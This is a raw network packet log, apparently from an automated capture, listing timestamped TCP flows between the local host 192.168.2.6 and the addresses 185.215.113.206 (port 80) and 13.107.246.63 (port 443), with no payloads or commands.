Nov 23, 2024 19:52:57.435019970 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.435233116 CET	49892	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:57.435237885 CET	443	49892	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:57.435621023 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.435698986 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.435720921 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.435781956 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.436409950 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.436454058 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.436522007 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.436657906 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.437331915 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.437383890 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.437412977 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.437433958 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.438209057 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.438252926 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.438271999 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.438316107 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.439177036 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.439239025 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.439296007 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.439342022 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.440059900 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.440140009 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.440165043 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.440274000 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.440967083 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.441056013 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.441102982 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.441102982 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.442164898 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.442229986 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.442382097 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.442472935 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.442917109 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.443011045 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.443099976 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.443681955 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.443747044 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.443800926 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.443936110 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.444603920 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.444649935 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.444695950 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.444813013 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.445527077 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.445591927 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.445638895 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.446017027 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.446430922 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.446518898 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.446538925 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.446572065 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.478674889 CET	443	49893	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:57.482558966 CET	49893	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:57.482580900 CET	443	49893	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:57.483289003 CET	49893	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:57.483295918 CET	443	49893	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:57.489787102 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.489877939 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.489902973 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.490094900 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.490185022 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.490351915 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.490396976 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.490443945 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.490478992 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.490586042 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.491297960 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.491389036 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.491445065 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.492300034 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.492387056 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.492400885 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.492458105 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.493139029 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.493216038 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.493285894 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.493377924 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.494066954 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.494137049 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.494138956 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.494210005 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.494976997 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.495047092 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.495170116 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.495234966 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.495893002 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.495953083 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.495974064 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.496047974 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.496782064 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.496826887 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.496853113 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.496963024 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.497705936 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.497769117 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.497793913 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.497845888 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.498678923 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.498723030 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.499053955 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.499140978 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.499594927 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.499644995 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.499706984 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.500472069 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.500545025 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.500663996 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.500706911 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.501386881 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.501480103 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.501523018 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.501535892 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.502258062 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.502360106 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.502438068 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.503145933 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.503213882 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.503284931 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.503506899 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.504082918 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.504170895 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.553059101 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.553101063 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.553133965 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.553133965 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.553433895 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.553489923 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.553519964 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.553560019 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.554025888 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.554071903 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.554074049 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.554224968 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.554900885 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.554991961 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.555032969 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.555089951 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.561476946 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.561589003 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.561630011 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.561683893 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.561950922 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.562047958 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.562072992 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.562174082 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.562871933 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.562930107 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.562985897 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.563286066 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.563790083 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.563860893 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.563915014 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.563958883 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.564707994 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.564773083 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.564819098 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.564958096 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.565609932 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.565696955 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.565737009 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.565781116 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.566593885 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.566632986 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.566782951 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.566826105 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.567500114 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.567554951 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.567559958 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.567693949 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.568388939 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.568465948 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.568545103 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.569263935 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.569346905 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.569410086 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.569463015 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.570239067 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.570324898 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.570338011 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.570409060 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.571060896 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.571155071 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.571185112 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.571223974 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.571983099 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.572052002 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.572108030 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.572189093 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.575252056 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.575326920 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.593600035 CET	443	49895	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:57.594271898 CET	49895	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:57.594300032 CET	443	49895	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:57.594391108 CET	443	49894	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:57.594729900 CET	49895	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:57.594737053 CET	443	49895	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:57.595036983 CET	49894	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:57.595050097 CET	443	49894	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:57.595401049 CET	49894	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:57.595405102 CET	443	49894	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:57.599184036 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:57.600311995 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:57.600332022 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:57.600749969 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:57.600754976 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:57.630726099 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.630790949 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.631017923 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.631062984 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.631068945 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.631112099 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.631256104 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.631299973 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.631366014 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.631407976 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.632313967 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.632359028 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.632368088 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.633270979 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.633701086 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.633735895 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.633768082 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.633786917 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.634620905 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.634674072 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.634685993 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.634799957 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.635234118 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.635286093 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.635293961 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.635332108 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.635938883 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.635989904 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.635994911 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.636039019 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.636742115 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.636785984 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.636815071 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.636864901 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.637650013 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.637752056 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.637804985 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.638575077 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.638638020 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.638720989 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.638973951 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.639538050 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.639576912 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.639657021 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.639695883 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.640415907 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.640465021 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.640465975 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.640522003 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.641302109 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.641361952 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.641381979 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.641624928 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.642210007 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.642313004 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.642329931 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.642370939 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.643099070 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.643155098 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.643228054 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.643323898 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.644056082 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.644153118 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.644181967 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.644193888 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.644937992 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.645010948 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.645040989 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.645081997 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.645859957 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.645900965 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.645946980 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.645989895 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.646760941 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.646800995 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.646867037 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.646974087 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.647681952 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.647782087 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.647826910 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.691143990 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.691179991 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.691214085 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.691250086 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.691274881 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.691319942 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.691375971 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.691423893 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.692203999 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.692257881 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.692282915 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.692323923 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.693104982 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.693175077 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.693187952 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.693252087 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.694024086 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.694082022 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.694106102 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.694226980 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.694911957 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.694963932 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.694977999 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.695008039 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.695846081 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.695947886 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.695992947 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.696024895 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.696738005 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.696849108 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.696862936 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.696912050 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.697670937 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.697755098 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.697771072 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.697810888 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.698591948 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.698640108 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.698688030 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.698868990 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.699642897 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.699697018 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.699789047 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.699851036 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.700448990 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.700493097 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.700591087 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.700634003 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.701339006 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.701396942 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:57.701508045 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:57.701555014 CET	49831	80	192.168.2.6	185.215.113.206
